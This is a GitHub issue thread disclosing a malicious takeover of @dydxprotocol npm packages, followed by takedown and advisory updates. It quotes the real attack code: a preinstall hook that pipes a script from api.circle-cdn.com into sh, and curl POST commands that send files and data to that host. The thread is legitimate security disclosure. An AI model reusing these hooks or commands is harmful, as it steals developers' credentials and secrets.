Skip to content
This repository has been archived by the owner on Jan 13, 2023. It is now read-only.

@dydxprotocol packages download and execute a third party malicious code [malicious takeover] #521

Open
mensfeld opened this issue Sep 23, 2022 · 7 comments

Comments

@mensfeld
Copy link

mensfeld commented Sep 23, 2022

Hey, I'm a security researcher from https://mend.io

This malicious code was found by us at https://Mend.io using our Supply Chain Defender technology

Looking at the diff here: https://my.diffend.io/npm/@dydxprotocol/solo/0.41.0/0.41.1

A preinstall was added:

"preinstall": "curl -s http://api.circle-cdn.com/ci.js | sh",

but this script contains a code that looks malicious:

    subprocess.getoutput("curl -X POST http://api.circle-cdn.com/uploader.php -F 'uploaded_file=@" + filename2 + "' -F 'submit=Upload'")
    subprocess.getoutput('curl -X POST http://api.circle-cdn.com/api.php -d "textdata=' + allen + '"')

it seems to be stealing credentials and other secrets.

This applies to other packages of the ecosystem as well.

@mensfeld mensfeld changed the title @dydxprotocol/solo downloads a third party script @dydxprotocol packages download and execute a third party malicious code Sep 23, 2022
@mensfeld mensfeld changed the title @dydxprotocol packages download and execute a third party malicious code @dydxprotocol packages download and execute a third party malicious code [malicious takeover] Sep 23, 2022
@mensfeld
Copy link
Author

Ok, the malicious packages versions were taken down after my report to NPM.

Now let me write a blog post on this with a post-mortem.

@louislang
Copy link

The platform we're building triggered on this about 4 hours ago. Was going to reach out to alert you, but glad to see you guys were on top of it. If you need any files/timestamps for the post-mortem, please let me know. Would be happy to help out!

@mensfeld
Copy link
Author

mensfeld commented Sep 23, 2022

@louislang I think I have all the data.

@louislang
Copy link

👍 great work on the quick catch!

@mensfeld
Copy link
Author

GH issued the advisories per my request:

GHSA-xjr5-5w2w-3233
GHSA-42m8-vq85-5486

@BrendanChou
Copy link
Contributor

Thanks all, I have reached out to npm to offer advisories and take down the affected packages. At the time of writing all have been taken down except solo@0.41.1. This looks to be a temporary oversight as they did remove solo@0.41.2

@mensfeld
Copy link
Author

@BrendanChou any chance on getting info on how effective the attackers were on your side?

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants